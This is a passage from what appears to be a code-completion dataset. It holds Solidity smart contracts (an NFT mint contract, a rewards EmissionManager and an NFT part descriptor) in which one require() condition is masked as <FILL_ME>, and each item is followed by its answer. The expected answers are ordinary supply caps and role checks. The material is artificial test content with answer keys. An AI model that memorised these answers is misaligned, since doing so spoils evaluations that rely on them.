function externalBurn(uint256[] memory _burnTokenIds) external nonReentrant{
}
//
//sbt and opensea filter section
//
bool public isSBT = false;
function setIsSBT(bool _state) public onlyRole(ADMIN) {
}
function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity) internal virtual override{
}
function setApprovalForAll(address operator, bool approved) public virtual override onlyAllowedOperatorApproval(operator){
}
function approve(address operator, uint256 tokenId) public virtual override onlyAllowedOperatorApproval(operator){
}
function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override onlyAllowedOperator(from) {
}
function owner() public view virtual override (Ownable, UpdatableOperatorFilterer) returns (address) {
}
//
//ERC721PsiAddressData section
//
// Mapping owner address to address data
mapping(address => AddressData) _addressData;
// Compiler will pack this into a single 256bit word.
struct AddressData {
// Realistically, 2**64-1 is more than enough.
uint64 balance;
// Keeps track of mint count with minimal overhead for tokenomics.
uint64 numberMinted;
// Keeps track of burn count with minimal overhead for tokenomics.
uint64 numberBurned;
// For miscellaneous variable(s) pertaining to the address
// (e.g. number of whitelist mint slots used).
// If there are multiple variables, please pack them into a uint64.
uint64 aux;
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address _owner)
public
view
virtual
override
returns (uint)
{
}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal override virtual {
}
//
//ERC721AntiScam section
//
bytes32 public constant ADMIN = keccak256("ADMIN");
function setEnebleRestrict(bool _enableRestrict )public onlyRole(ADMIN){
}
/*///////////////////////////////////////////////////////////////
OVERRIDES ERC721RestrictApprove
//////////////////////////////////////////////////////////////*/
function addLocalContractAllowList(address transferer)
external
override
onlyRole(ADMIN)
{
}
function removeLocalContractAllowList(address transferer)
external
override
onlyRole(ADMIN)
{
}
function getLocalContractAllowList()
external
override
view
returns(address[] memory)
{
}
function setCALLevel(uint256 level) public override onlyRole(ADMIN) {
}
function setCAL(address calAddress) external override onlyRole(ADMIN) {
}
//
//setDefaultRoyalty
//
function setDefaultRoyalty(address _receiver, uint96 _feeNumerator) public onlyOwner{
}
/*///////////////////////////////////////////////////////////////
OVERRIDES ERC721RestrictApprove
//////////////////////////////////////////////////////////////*/
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC2981,ERC721RestrictApprove, AccessControl)
returns (bool)
{
}
//to string function
function _toString(uint256 value) internal pure virtual returns (string memory str) {
}
}
| (_nextTokenId()-1)+amount<=maxSupply,"max NFT limit exceeded" | 242,089 | (_nextTokenId()-1)+amount<=maxSupply |
"max NFT limit exceeded" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.17;
import { Base64 } from 'base64-sol/base64.sol';
import "contract-allow-list/contracts/ERC721AntiScam/restrictApprove/ERC721RestrictApprove.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import {UpdatableOperatorFilterer} from "operator-filter-registry/src/UpdatableOperatorFilterer.sol";
import {RevokableDefaultOperatorFilterer} from "operator-filter-registry/src/RevokableDefaultOperatorFilterer.sol";
//tokenURI interface
interface iTokenURI {
function tokenURI(uint256 _tokenId) external view returns (string memory);
}
//SBT interface
interface iSbtCollection {
function externalMint(address _address , uint256 _amount ) external payable;
function balanceOf(address _owner) external view returns (uint);
}
contract ARTContract is RevokableDefaultOperatorFilterer, ERC2981 ,Ownable, ERC721RestrictApprove ,AccessControl,ReentrancyGuard {
constructor(
) ERC721Psi("HAYABUSA ART GALLERY", "HAG") {
}
mapping(uint256 => uint256) public NFTNumberByTokenId;
mapping(uint256 => uint256) public mintedAmountByNumber;
bytes32 public constant SETTER_ROLE = keccak256("SETTER_ROLE");
function externalMintWithNumber(address _address , uint256 _Number ) external payable {
}
function getMintedAmountByNumber(uint256 _number) external view returns(uint256){
}
function setNFTNumberByTokenId(uint256 _tokenId , uint256 _number) public onlyRole(SETTER_ROLE){
}
//
//withdraw section
//
address public withdrawAddress = 0xdEcf4B112d4120B6998e5020a6B4819E490F7db6;
function setWithdrawAddress(address _withdrawAddress) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
//
//mint section
//
uint256 public cost = 1000000000000000;
uint256 public maxSupply = 1000 -1;
uint256 public maxMintAmountPerTransaction = 1;
uint256 public publicSaleMaxMintAmountPerAddress = 50;
bool public paused = true;
bool public onlyAllowlisted = true;
bool public mintCount = true;
bool public burnAndMintMode = false;
//0 : Merkle Tree
//1 : Mapping
uint256 public allowlistType = 0;
bytes32 public merkleRoot;
uint256 public saleId = 0;
mapping(uint256 => mapping(address => uint256)) public userMintedAmount;
mapping(uint256 => mapping(address => uint256)) public allowlistUserAmount;
bool public mintWithSBT = false;
iSbtCollection public sbtCollection;
modifier callerIsUser() {
}
//mint with merkle tree
function mint(uint256 _mintAmount , uint256 _maxMintAmount , bytes32[] calldata _merkleProof , uint256 _burnId ) public payable callerIsUser{
require(!paused, "the contract is paused");
require(0 < _mintAmount, "need to mint at least 1 NFT");
require(_mintAmount <= maxMintAmountPerTransaction, "max mint amount per session exceeded");
require(<FILL_ME>)
require(cost * _mintAmount <= msg.value, "insufficient funds");
uint256 maxMintAmountPerAddress;
if(onlyAllowlisted == true) {
if(allowlistType == 0){
//Merkle tree
bytes32 leaf = keccak256( abi.encodePacked(msg.sender, _maxMintAmount) );
require(MerkleProof.verify(_merkleProof, merkleRoot, leaf), "user is not allowlisted");
maxMintAmountPerAddress = _maxMintAmount;
}else if(allowlistType == 1){
//Mapping
require( allowlistUserAmount[saleId][msg.sender] != 0 , "user is not allowlisted");
maxMintAmountPerAddress = allowlistUserAmount[saleId][msg.sender];
}
}else{
maxMintAmountPerAddress = publicSaleMaxMintAmountPerAddress;
}
if(mintCount == true){
require(_mintAmount <= maxMintAmountPerAddress - userMintedAmount[saleId][msg.sender] , "max NFT per address exceeded");
userMintedAmount[saleId][msg.sender] += _mintAmount;
}
if(burnAndMintMode == true ){
require(_mintAmount == 1, "The number of mints is over.");
require(msg.sender == ownerOf(_burnId) , "Owner is different");
_burn(_burnId);
}
if( mintWithSBT == true ){
if( sbtCollection.balanceOf(msg.sender) == 0 ){
sbtCollection.externalMint(msg.sender,1);
}
}
_safeMint(msg.sender, _mintAmount);
}
bytes32 public constant AIRDROP_ROLE = keccak256("AIRDROP_ROLE");
function airdropMint(address[] calldata _airdropAddresses , uint256[] memory _UserMintAmount) public {
}
function currentTokenId() public view returns(uint256){
}
function setMintWithSBT(bool _mintWithSBT) public onlyRole(ADMIN) {
}
function setSbtCollection(address _address) public onlyRole(ADMIN) {
}
function setBurnAndMintMode(bool _burnAndMintMode) public onlyRole(ADMIN) {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyRole(ADMIN) {
}
function setPause(bool _state) public onlyRole(ADMIN) {
}
function setAllowListType(uint256 _type)public onlyRole(ADMIN){
}
function setAllowlistMapping(uint256 _saleId , address[] memory addresses, uint256[] memory saleSupplies) public onlyRole(ADMIN) {
}
function getAllowlistUserAmount(address _address ) public view returns(uint256){
}
function getUserMintedAmountBySaleId(uint256 _saleId , address _address ) public view returns(uint256){
}
function getUserMintedAmount(address _address ) public view returns(uint256){
}
function setSaleId(uint256 _saleId) public onlyRole(ADMIN) {
}
function setMaxSupply(uint256 _maxSupply) public onlyRole(ADMIN) {
}
function setPublicSaleMaxMintAmountPerAddress(uint256 _publicSaleMaxMintAmountPerAddress) public onlyRole(ADMIN) {
}
function setCost(uint256 _newCost) public onlyRole(ADMIN) {
}
function setOnlyAllowlisted(bool _state) public onlyRole(ADMIN) {
}
function setMaxMintAmountPerTransaction(uint256 _maxMintAmountPerTransaction) public onlyRole(ADMIN) {
}
function setMintCount(bool _state) public onlyRole(ADMIN) {
}
//
//URI section
//
string public baseURI;
string public baseExtension = ".json";
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) public onlyRole(ADMIN) {
}
function setBaseExtension(string memory _newBaseExtension) public onlyRole(ADMIN) {
}
//
//interface metadata
//
iTokenURI public interfaceOfTokenURI;
bool public useInterfaceMetadata = false;
function setInterfaceOfTokenURI(address _address) public onlyRole(ADMIN) {
}
function setUseInterfaceMetadata(bool _useInterfaceMetadata) public onlyRole(ADMIN) {
}
//
//single metadata
//
bool public useSingleMetadata = false;
string public imageURI;
string public metadataTitle;
string public metadataDescription;
string public metadataAttributes;
bool public useAnimationUrl = false;
string public animationURI;
//single image metadata
function setUseSingleMetadata(bool _useSingleMetadata) public onlyRole(ADMIN) {
}
function setMetadataTitle(string memory _metadataTitle) public onlyRole(ADMIN) {
}
function setMetadataDescription(string memory _metadataDescription) public onlyRole(ADMIN) {
}
function setMetadataAttributes(string memory _metadataAttributes) public onlyRole(ADMIN) {
}
function setImageURI(string memory _ImageURI) public onlyRole(ADMIN) {
}
function setUseAnimationUrl(bool _useAnimationUrl) public onlyRole(ADMIN) {
}
function setAnimationURI(string memory _animationURI) public onlyRole(ADMIN) {
}
//
//token URI
//
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
//
//burnin' section
//
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");
function externalMint(address _address , uint256 _amount ) external payable {
}
function externalBurn(uint256[] memory _burnTokenIds) external nonReentrant{
}
//
//sbt and opensea filter section
//
bool public isSBT = false;
function setIsSBT(bool _state) public onlyRole(ADMIN) {
}
function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity) internal virtual override{
}
function setApprovalForAll(address operator, bool approved) public virtual override onlyAllowedOperatorApproval(operator){
}
function approve(address operator, uint256 tokenId) public virtual override onlyAllowedOperatorApproval(operator){
}
function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override onlyAllowedOperator(from) {
}
function owner() public view virtual override (Ownable, UpdatableOperatorFilterer) returns (address) {
}
//
//ERC721PsiAddressData section
//
// Mapping owner address to address data
mapping(address => AddressData) _addressData;
// Compiler will pack this into a single 256bit word.
struct AddressData {
// Realistically, 2**64-1 is more than enough.
uint64 balance;
// Keeps track of mint count with minimal overhead for tokenomics.
uint64 numberMinted;
// Keeps track of burn count with minimal overhead for tokenomics.
uint64 numberBurned;
// For miscellaneous variable(s) pertaining to the address
// (e.g. number of whitelist mint slots used).
// If there are multiple variables, please pack them into a uint64.
uint64 aux;
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address _owner)
public
view
virtual
override
returns (uint)
{
}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal override virtual {
}
//
//ERC721AntiScam section
//
bytes32 public constant ADMIN = keccak256("ADMIN");
function setEnebleRestrict(bool _enableRestrict )public onlyRole(ADMIN){
}
/*///////////////////////////////////////////////////////////////
OVERRIDES ERC721RestrictApprove
//////////////////////////////////////////////////////////////*/
function addLocalContractAllowList(address transferer)
external
override
onlyRole(ADMIN)
{
}
function removeLocalContractAllowList(address transferer)
external
override
onlyRole(ADMIN)
{
}
function getLocalContractAllowList()
external
override
view
returns(address[] memory)
{
}
function setCALLevel(uint256 level) public override onlyRole(ADMIN) {
}
function setCAL(address calAddress) external override onlyRole(ADMIN) {
}
//
//setDefaultRoyalty
//
function setDefaultRoyalty(address _receiver, uint96 _feeNumerator) public onlyOwner{
}
/*///////////////////////////////////////////////////////////////
OVERRIDES ERC721RestrictApprove
//////////////////////////////////////////////////////////////*/
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC2981,ERC721RestrictApprove, AccessControl)
returns (bool)
{
}
//to string function
function _toString(uint256 value) internal pure virtual returns (string memory str) {
}
}
| (_nextTokenId()-1)+_mintAmount<=maxSupply,"max NFT limit exceeded" | 242,089 | (_nextTokenId()-1)+_mintAmount<=maxSupply |
"max NFT limit exceeded" | // SPDX-License-Identifier: MIT
pragma solidity >=0.8.17;
import { Base64 } from 'base64-sol/base64.sol';
import "contract-allow-list/contracts/ERC721AntiScam/restrictApprove/ERC721RestrictApprove.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/token/common/ERC2981.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import {UpdatableOperatorFilterer} from "operator-filter-registry/src/UpdatableOperatorFilterer.sol";
import {RevokableDefaultOperatorFilterer} from "operator-filter-registry/src/RevokableDefaultOperatorFilterer.sol";
//tokenURI interface
interface iTokenURI {
function tokenURI(uint256 _tokenId) external view returns (string memory);
}
//SBT interface
interface iSbtCollection {
function externalMint(address _address , uint256 _amount ) external payable;
function balanceOf(address _owner) external view returns (uint);
}
contract ARTContract is RevokableDefaultOperatorFilterer, ERC2981 ,Ownable, ERC721RestrictApprove ,AccessControl,ReentrancyGuard {
constructor(
) ERC721Psi("HAYABUSA ART GALLERY", "HAG") {
}
mapping(uint256 => uint256) public NFTNumberByTokenId;
mapping(uint256 => uint256) public mintedAmountByNumber;
bytes32 public constant SETTER_ROLE = keccak256("SETTER_ROLE");
function externalMintWithNumber(address _address , uint256 _Number ) external payable {
}
function getMintedAmountByNumber(uint256 _number) external view returns(uint256){
}
function setNFTNumberByTokenId(uint256 _tokenId , uint256 _number) public onlyRole(SETTER_ROLE){
}
//
//withdraw section
//
address public withdrawAddress = 0xdEcf4B112d4120B6998e5020a6B4819E490F7db6;
function setWithdrawAddress(address _withdrawAddress) public onlyOwner {
}
function withdraw() public payable onlyOwner {
}
//
//mint section
//
uint256 public cost = 1000000000000000;
uint256 public maxSupply = 1000 -1;
uint256 public maxMintAmountPerTransaction = 1;
uint256 public publicSaleMaxMintAmountPerAddress = 50;
bool public paused = true;
bool public onlyAllowlisted = true;
bool public mintCount = true;
bool public burnAndMintMode = false;
//0 : Merkle Tree
//1 : Mapping
uint256 public allowlistType = 0;
bytes32 public merkleRoot;
uint256 public saleId = 0;
mapping(uint256 => mapping(address => uint256)) public userMintedAmount;
mapping(uint256 => mapping(address => uint256)) public allowlistUserAmount;
bool public mintWithSBT = false;
iSbtCollection public sbtCollection;
modifier callerIsUser() {
}
//mint with merkle tree
function mint(uint256 _mintAmount , uint256 _maxMintAmount , bytes32[] calldata _merkleProof , uint256 _burnId ) public payable callerIsUser{
}
bytes32 public constant AIRDROP_ROLE = keccak256("AIRDROP_ROLE");
function airdropMint(address[] calldata _airdropAddresses , uint256[] memory _UserMintAmount) public {
}
function currentTokenId() public view returns(uint256){
}
function setMintWithSBT(bool _mintWithSBT) public onlyRole(ADMIN) {
}
function setSbtCollection(address _address) public onlyRole(ADMIN) {
}
function setBurnAndMintMode(bool _burnAndMintMode) public onlyRole(ADMIN) {
}
function setMerkleRoot(bytes32 _merkleRoot) public onlyRole(ADMIN) {
}
function setPause(bool _state) public onlyRole(ADMIN) {
}
function setAllowListType(uint256 _type)public onlyRole(ADMIN){
}
function setAllowlistMapping(uint256 _saleId , address[] memory addresses, uint256[] memory saleSupplies) public onlyRole(ADMIN) {
}
function getAllowlistUserAmount(address _address ) public view returns(uint256){
}
function getUserMintedAmountBySaleId(uint256 _saleId , address _address ) public view returns(uint256){
}
function getUserMintedAmount(address _address ) public view returns(uint256){
}
function setSaleId(uint256 _saleId) public onlyRole(ADMIN) {
}
function setMaxSupply(uint256 _maxSupply) public onlyRole(ADMIN) {
}
function setPublicSaleMaxMintAmountPerAddress(uint256 _publicSaleMaxMintAmountPerAddress) public onlyRole(ADMIN) {
}
function setCost(uint256 _newCost) public onlyRole(ADMIN) {
}
function setOnlyAllowlisted(bool _state) public onlyRole(ADMIN) {
}
function setMaxMintAmountPerTransaction(uint256 _maxMintAmountPerTransaction) public onlyRole(ADMIN) {
}
function setMintCount(bool _state) public onlyRole(ADMIN) {
}
//
//URI section
//
string public baseURI;
string public baseExtension = ".json";
function _baseURI() internal view virtual override returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) public onlyRole(ADMIN) {
}
function setBaseExtension(string memory _newBaseExtension) public onlyRole(ADMIN) {
}
//
//interface metadata
//
iTokenURI public interfaceOfTokenURI;
bool public useInterfaceMetadata = false;
function setInterfaceOfTokenURI(address _address) public onlyRole(ADMIN) {
}
function setUseInterfaceMetadata(bool _useInterfaceMetadata) public onlyRole(ADMIN) {
}
//
//single metadata
//
bool public useSingleMetadata = false;
string public imageURI;
string public metadataTitle;
string public metadataDescription;
string public metadataAttributes;
bool public useAnimationUrl = false;
string public animationURI;
//single image metadata
function setUseSingleMetadata(bool _useSingleMetadata) public onlyRole(ADMIN) {
}
function setMetadataTitle(string memory _metadataTitle) public onlyRole(ADMIN) {
}
function setMetadataDescription(string memory _metadataDescription) public onlyRole(ADMIN) {
}
function setMetadataAttributes(string memory _metadataAttributes) public onlyRole(ADMIN) {
}
function setImageURI(string memory _ImageURI) public onlyRole(ADMIN) {
}
function setUseAnimationUrl(bool _useAnimationUrl) public onlyRole(ADMIN) {
}
function setAnimationURI(string memory _animationURI) public onlyRole(ADMIN) {
}
//
//token URI
//
function tokenURI(uint256 tokenId) public view override returns (string memory) {
}
//
//burnin' section
//
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
bytes32 public constant BURNER_ROLE = keccak256("BURNER_ROLE");
function externalMint(address _address , uint256 _amount ) external payable {
require(hasRole(MINTER_ROLE, msg.sender), "Caller is not a minter");
require(<FILL_ME>)
_safeMint( _address, _amount );
}
function externalBurn(uint256[] memory _burnTokenIds) external nonReentrant{
}
//
//sbt and opensea filter section
//
bool public isSBT = false;
function setIsSBT(bool _state) public onlyRole(ADMIN) {
}
function _beforeTokenTransfers( address from, address to, uint256 startTokenId, uint256 quantity) internal virtual override{
}
function setApprovalForAll(address operator, bool approved) public virtual override onlyAllowedOperatorApproval(operator){
}
function approve(address operator, uint256 tokenId) public virtual override onlyAllowedOperatorApproval(operator){
}
function transferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public override onlyAllowedOperator(from) {
}
function owner() public view virtual override (Ownable, UpdatableOperatorFilterer) returns (address) {
}
//
//ERC721PsiAddressData section
//
// Mapping owner address to address data
mapping(address => AddressData) _addressData;
// Compiler will pack this into a single 256bit word.
struct AddressData {
// Realistically, 2**64-1 is more than enough.
uint64 balance;
// Keeps track of mint count with minimal overhead for tokenomics.
uint64 numberMinted;
// Keeps track of burn count with minimal overhead for tokenomics.
uint64 numberBurned;
// For miscellaneous variable(s) pertaining to the address
// (e.g. number of whitelist mint slots used).
// If there are multiple variables, please pack them into a uint64.
uint64 aux;
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address _owner)
public
view
virtual
override
returns (uint)
{
}
/**
* @dev Hook that is called after a set of serially-ordered token ids have been transferred. This includes
* minting.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero.
* - `from` and `to` are never both zero.
*/
function _afterTokenTransfers(
address from,
address to,
uint256 startTokenId,
uint256 quantity
) internal override virtual {
}
//
//ERC721AntiScam section
//
bytes32 public constant ADMIN = keccak256("ADMIN");
function setEnebleRestrict(bool _enableRestrict )public onlyRole(ADMIN){
}
/*///////////////////////////////////////////////////////////////
OVERRIDES ERC721RestrictApprove
//////////////////////////////////////////////////////////////*/
function addLocalContractAllowList(address transferer)
external
override
onlyRole(ADMIN)
{
}
function removeLocalContractAllowList(address transferer)
external
override
onlyRole(ADMIN)
{
}
function getLocalContractAllowList()
external
override
view
returns(address[] memory)
{
}
function setCALLevel(uint256 level) public override onlyRole(ADMIN) {
}
function setCAL(address calAddress) external override onlyRole(ADMIN) {
}
//
//setDefaultRoyalty
//
function setDefaultRoyalty(address _receiver, uint96 _feeNumerator) public onlyOwner{
}
/*///////////////////////////////////////////////////////////////
OVERRIDES ERC721RestrictApprove
//////////////////////////////////////////////////////////////*/
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC2981,ERC721RestrictApprove, AccessControl)
returns (bool)
{
}
//to string function
function _toString(uint256 value) internal pure virtual returns (string memory str) {
}
}
| (_nextTokenId()-1)+_amount<=maxSupply,"max NFT limit exceeded" | 242,089 | (_nextTokenId()-1)+_amount<=maxSupply |
'ONLY_EMISSION_ADMIN' | // SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.10;
import {Ownable} from '@mahalend/core-v3/contracts/dependencies/openzeppelin/contracts/Ownable.sol';
import {IEACAggregatorProxy} from '../misc/interfaces/IEACAggregatorProxy.sol';
import {IEmissionManager} from './interfaces/IEmissionManager.sol';
import {ITransferStrategyBase} from './interfaces/ITransferStrategyBase.sol';
import {IRewardsController} from './interfaces/IRewardsController.sol';
import {RewardsDataTypes} from './libraries/RewardsDataTypes.sol';
/**
* @title EmissionManager
* @author Aave
* @notice It manages the list of admins of reward emissions and provides functions to control reward emissions.
*/
contract EmissionManager is Ownable, IEmissionManager {
// reward => emissionAdmin
mapping(address => address) internal _emissionAdmins;
IRewardsController internal _rewardsController;
/**
* @dev Only emission admin of the given reward can call functions marked by this modifier.
**/
modifier onlyEmissionAdmin(address reward) {
}
/**
* Constructor.
* @param controller The address of the RewardsController contract
* @param owner The address of the owner
*/
constructor(address controller, address owner) {
}
/// @inheritdoc IEmissionManager
function configureAssets(RewardsDataTypes.RewardsConfigInput[] memory config) external override {
for (uint256 i = 0; i < config.length; i++) {
require(<FILL_ME>)
}
_rewardsController.configureAssets(config);
}
/// @inheritdoc IEmissionManager
function setTransferStrategy(address reward, ITransferStrategyBase transferStrategy)
external
override
onlyEmissionAdmin(reward)
{
}
/// @inheritdoc IEmissionManager
function setRewardOracle(address reward, IEACAggregatorProxy rewardOracle)
external
override
onlyEmissionAdmin(reward)
{
}
/// @inheritdoc IEmissionManager
function setDistributionEnd(
address asset,
address reward,
uint32 newDistributionEnd
) external override onlyEmissionAdmin(reward) {
}
/// @inheritdoc IEmissionManager
function setEmissionPerSecond(
address asset,
address[] calldata rewards,
uint88[] calldata newEmissionsPerSecond
) external override {
}
/// @inheritdoc IEmissionManager
function setClaimer(address user, address claimer) external override onlyOwner {
}
/// @inheritdoc IEmissionManager
function setEmissionManager(address emissionManager) external override onlyOwner {
}
/// @inheritdoc IEmissionManager
function setEmissionAdmin(address reward, address admin) external override onlyOwner {
}
/// @inheritdoc IEmissionManager
function setRewardsController(address controller) external override onlyOwner {
}
/// @inheritdoc IEmissionManager
function getRewardsController() external view override returns (IRewardsController) {
}
/// @inheritdoc IEmissionManager
function getEmissionAdmin(address reward) external view override returns (address) {
}
}
| _emissionAdmins[config[i].reward]==msg.sender,'ONLY_EMISSION_ADMIN' | 242,132 | _emissionAdmins[config[i].reward]==msg.sender |
'ONLY_EMISSION_ADMIN' | // SPDX-License-Identifier: AGPL-3.0
pragma solidity ^0.8.10;
import {Ownable} from '@mahalend/core-v3/contracts/dependencies/openzeppelin/contracts/Ownable.sol';
import {IEACAggregatorProxy} from '../misc/interfaces/IEACAggregatorProxy.sol';
import {IEmissionManager} from './interfaces/IEmissionManager.sol';
import {ITransferStrategyBase} from './interfaces/ITransferStrategyBase.sol';
import {IRewardsController} from './interfaces/IRewardsController.sol';
import {RewardsDataTypes} from './libraries/RewardsDataTypes.sol';
/**
* @title EmissionManager
* @author Aave
* @notice It manages the list of admins of reward emissions and provides functions to control reward emissions.
*/
contract EmissionManager is Ownable, IEmissionManager {
// reward => emissionAdmin
mapping(address => address) internal _emissionAdmins;
IRewardsController internal _rewardsController;
/**
* @dev Only emission admin of the given reward can call functions marked by this modifier.
**/
modifier onlyEmissionAdmin(address reward) {
}
/**
* Constructor.
* @param controller The address of the RewardsController contract
* @param owner The address of the owner
*/
constructor(address controller, address owner) {
}
/// @inheritdoc IEmissionManager
function configureAssets(RewardsDataTypes.RewardsConfigInput[] memory config) external override {
}
/// @inheritdoc IEmissionManager
function setTransferStrategy(address reward, ITransferStrategyBase transferStrategy)
external
override
onlyEmissionAdmin(reward)
{
}
/// @inheritdoc IEmissionManager
function setRewardOracle(address reward, IEACAggregatorProxy rewardOracle)
external
override
onlyEmissionAdmin(reward)
{
}
/// @inheritdoc IEmissionManager
function setDistributionEnd(
address asset,
address reward,
uint32 newDistributionEnd
) external override onlyEmissionAdmin(reward) {
}
/// @inheritdoc IEmissionManager
function setEmissionPerSecond(
address asset,
address[] calldata rewards,
uint88[] calldata newEmissionsPerSecond
) external override {
for (uint256 i = 0; i < rewards.length; i++) {
require(<FILL_ME>)
}
_rewardsController.setEmissionPerSecond(asset, rewards, newEmissionsPerSecond);
}
/// @inheritdoc IEmissionManager
function setClaimer(address user, address claimer) external override onlyOwner {
}
/// @inheritdoc IEmissionManager
function setEmissionManager(address emissionManager) external override onlyOwner {
}
/// @inheritdoc IEmissionManager
function setEmissionAdmin(address reward, address admin) external override onlyOwner {
}
/// @inheritdoc IEmissionManager
function setRewardsController(address controller) external override onlyOwner {
}
/// @inheritdoc IEmissionManager
function getRewardsController() external view override returns (IRewardsController) {
}
/// @inheritdoc IEmissionManager
function getEmissionAdmin(address reward) external view override returns (address) {
}
}
| _emissionAdmins[rewards[i]]==msg.sender,'ONLY_EMISSION_ADMIN' | 242,132 | _emissionAdmins[rewards[i]]==msg.sender |
"Parts are locked" | // SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.6;
import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol";
import {Base64} from "base64-sol/base64.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {IGnarDescriptorV2} from "../interfaces/IGNARDescriptorV2.sol";
import {IGnarSeederV2} from "../interfaces/IGNARSeederV2.sol";
import {MultiPartRLEToSVG} from "./libs/MultiPartRLEToSVG.sol";
import {IGnarDecorator} from "../interfaces/IGnarDecorator.sol";
contract GNARDescriptorV2 is IGnarDescriptorV2, Ownable {
using Strings for uint256;
IGnarDecorator public decorator;
// Whether or not new Gnar parts can be added
bool public override arePartsLocked;
// Whether or not `tokenURI` should be returned as a data URI (Default: true)
bool public override isDataURIEnabled = true;
// Base URI
string public override baseURI;
// Gnar Color Palettes (Index => Hex Colors)
mapping(uint8 => string[]) public override palettes;
// Gnar Backgrounds (Hex Colors)
string[] public override backgrounds;
// Gnar Bodies (Custom RLE)
bytes[] public override bodies;
// Gnar Accessories (Custom RLE)
bytes[] public override accessories;
// Gnar Heads (Custom RLE)
bytes[] public override heads;
// Gnar Glasses (Custom RLE)
bytes[] public override glasses;
/**
* @notice Require that the parts have not been locked.
*/
modifier whenPartsNotLocked() {
require(<FILL_ME>)
_;
}
constructor(IGnarDecorator _decorator) {
}
/**
* @notice Set the token URI descriptor.
* @dev Only callable by the owner when not locked.
*/
function setDecorator(IGnarDecorator _decorator) external override onlyOwner {
}
/**
* @notice Get the number of available Gnar `backgrounds`.
*/
function backgroundCount() external view override returns (uint256) {
}
/**
* @notice Get the number of available Gnar `bodies`.
*/
function bodyCount() external view override returns (uint256) {
}
/**
* @notice Get the number of available Gnar `accessories`.
*/
function accessoryCount() external view override returns (uint256) {
}
/**
* @notice Get the number of available Gnar `heads`.
*/
function headCount() external view override returns (uint256) {
}
/**
* @notice Get the number of available Gnar `glasses`.
*/
function glassesCount() external view override returns (uint256) {
}
/**
* @notice Add colors to a color palette.
* @dev This function can only be called by the owner.
*/
function addManyColorsToPalette(uint8 paletteIndex, string[] calldata newColors) external override onlyOwner {
}
/**
* @notice Batch add Gnar backgrounds.
* @dev This function can only be called by the owner when not locked.
*/
function addManyBackgrounds(string[] calldata _backgrounds) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Batch add Gnar bodies.
* @dev This function can only be called by the owner when not locked.
*/
function addManyBodies(bytes[] calldata _bodies) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Batch add Gnar accessories.
* @dev This function can only be called by the owner when not locked.
*/
function addManyAccessories(bytes[] calldata _accessories) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Batch add Gnar heads.
* @dev This function can only be called by the owner when not locked.
*/
function addManyHeads(bytes[] calldata _heads) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Batch add Gnar glasses.
* @dev This function can only be called by the owner when not locked.
*/
function addManyGlasses(bytes[] calldata _glasses) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Add a single color to a color palette.
* @dev This function can only be called by the owner.
*/
function addColorToPalette(uint8 _paletteIndex, string calldata _color) external override onlyOwner {
}
/**
* @notice Add a Gnar background.
* @dev This function can only be called by the owner when not locked.
*/
function addBackground(string calldata _background) external override onlyOwner whenPartsNotLocked {
}
/**
* @notice Add a Gnar body.
* @dev This function can only be called by the owner when not locked.
*/
function addBody(bytes calldata _body) external override onlyOwner whenPartsNotLocked {
}
/**
